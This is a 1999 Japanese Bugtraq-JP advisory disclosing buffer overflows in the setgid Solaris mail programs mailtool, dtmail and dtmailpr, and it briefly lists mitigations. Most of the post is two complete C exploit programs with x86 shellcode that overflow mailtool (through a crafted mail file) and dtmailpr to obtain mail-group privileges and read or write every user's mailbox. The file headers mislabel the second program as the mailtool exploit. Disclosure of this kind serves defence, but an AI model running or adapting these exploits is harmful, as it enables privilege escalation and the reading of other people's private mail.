Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.25.07 Message-ID: <383E2C42262.05EFSHADOWPENGUIN@fox.nightland.net> Date: Fri, 26 Nov 1999 15:44:18 +0900 Reply-To: UNYUN Sender: BUGTRAQ-JP List From: UNYUN Subject: Solaris7 dtmail/dtmailpr/mailtool Buffer Overflow X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM UNYUN@ShadowPenguinSecurityです 1. 概要 Solaris2.6, 7 にインストールされている2種類のメーラー /usr/openwin/bin/mailtool /usr/dt/bin/dtmail 及び、メールメッセージプリントフィルタ /usr/dt/bin/dtmailpr に、exploit可能なバッファオーバーフローバグがあります。 これらはSGID(mailグループ)プログラムでるため、ローカルでmailグループ権 限を得ることができます。ユーザーのメールファイルはパーミッション 660、 group=mailで作成されますので、mailグループの権限を得た場合全てのユーザー のメールファイルに対して読み書きが可能となります。 2. 詳細 (1) mailtool OpenWindows環境で良く使われているメーラーです。 メールファイルのContent-Type: 処理に問題があります。以下のような Content-Typeが指定されたメールをmailtoolにて開こうとした時点でオーバーフ ローが発生します。 Content-Type: image/aaaaaaaa 長い'a' aaaaaa; name="test.gif" スタックレイアウトを適切に設定することによりexploit可能です。 (2) dtmailpr dtmailprはメールメッセージプリントフィルタです。"-f"オプションに長い文字 列を指定するとオーバーフローが発生し、EIPをそのまま制御できます。 (3) dtmail CDE環境で良く使われているメーラーです。 "-f"オプションに長い文字列を指定するとオーバーフローが発生し、EIPをそのま ま制御できます。 3. 対策 a) mailtool、dtmailpr、dtmailのsgidビットを落とす。 b) mail、mailxコマンドを使う。 など 4. exploit 以下は、mailtool、及びdtmailprのオーバーフローを利用してegid=6(mail)を得 る exploitです。日本語Solaris7 for Intel で動作を確認しました。 ex_mailtool.c ----- /*============================================================================= Solaris mailtool exploit for Solaris7 Intel Edition The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) Descripton: Local user can read/write any user's mailbox Usage: setenv DISPLAY yourdisply gcc ex_mailtool.c ./a.out /var/mail/[any user] - Choice "exploit@localhost" mail ============================================================================= */ #include #define FAKEADR 96 #define FAKEOFS 0x1000 #define RETADR 84 #define RETOFS 0x1224 #define EXPADR 300 #define NOP 0x90 #define MAXBUF 2000 #define DIR "/usr/openwin/bin" #define HEAD \ "From exploit@localhost Fri Nov 26 00:01 JST 1999\n"\ "Content-Type: multipart/mixed; "\ "boundary=\"VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\"\n"\ "Content-Length: 340\n\n"\ "--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\n"\ "Content-Type: image/%s; name=\"test.gif\"\n"\ "Content-Disposition: attachment;\n"\ " filename=\"test.gif\"\n"\ "Content-Transfer-Encoding: base64\n\n"\ "IA==\n\n"\ "--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==--\n\n" unsigned long get_sp(void) { __asm__(" movl %esp,%eax "); } char exploit_code[2000] = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06" "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90" "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0" "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33" "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec" "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89" "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50" "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2" "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4" "\x04\xe8\xc9\xff\xff\xff/tmp/xx"; main(int argc, char *argv[]) { static char buf[MAXBUF]; FILE *fp; unsigned int i,ip,sp; if (argc!=2){ printf("usage : %s mailbox\n",argv[0]); exit(1); } putenv("LANG="); sp=get_sp(); system("ln -s /bin/ksh /tmp/xx"); printf("esp = 0x%x\n",sp); memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0; ip=sp-FAKEOFS; printf("fake = 0x%x\n",ip); buf[FAKEADR ]=ip&0xff; buf[FAKEADR+1]=(ip>>8)&0xff; buf[FAKEADR+2]=(ip>>16)&0xff; buf[FAKEADR+3]=(ip>>24)&0xff; ip=sp-RETOFS; printf("eip = 0x%x\n",ip); buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; strncpy(buf+EXPADR,exploit_code,strlen(exploit_code)); if ((fp=fopen(argv[1],"ab"))==NULL){ printf("Can not write '%s'\n",argv[1]); exit(1); } fprintf(fp,HEAD,buf); fclose(fp); printf("Exploit mail has been added.\n"); printf("Choice \"exploit@localhost\" mail.\n"); sprintf(buf,"cd %s; mailtool",DIR); system(buf); } ex_mailtool.c ----- /*============================================================================= Solaris dtmailpr exploit for Solaris7 Intel Edition The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) Descripton: Local user can read/write any user's mailbox ============================================================================= */ #include #define RETADR 1266 #define RETOFS 0x1d88 #define EXPADR 300 #define NOP 0x90 #define MAXBUF 2000 unsigned long get_sp(void) { __asm__(" movl %esp,%eax "); } char exploit_code[2000] = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06" "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90" "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0" "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33" "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec" "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89" "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50" "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2" "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4" "\x04\xe8\xc9\xff\xff\xff/tmp/xx"; main() { static char buf[MAXBUF+1000]; FILE *fp; unsigned int i,ip,sp; putenv("LANG="); sp=get_sp(); system("ln -s /bin/ksh /tmp/xx"); printf("esp = 0x%x\n",sp); memset(buf,NOP,MAXBUF); ip=sp-RETOFS; printf("eip = 0x%x\n",ip); buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; strncpy(buf+EXPADR,exploit_code,strlen(exploit_code)); buf[MAXBUF-1]=0; execl("/usr/dt/bin/dtmailpr","dtmailpr","-f",buf,0); } ----- UNYUN % The Shadow Penguin Security [ http://shadowpenguin.backsection.net ] shadowpenguin@backsection.net (webmaster) % eEye Digital Security Team [ http://www.eEye.com ] unyun@eEye.com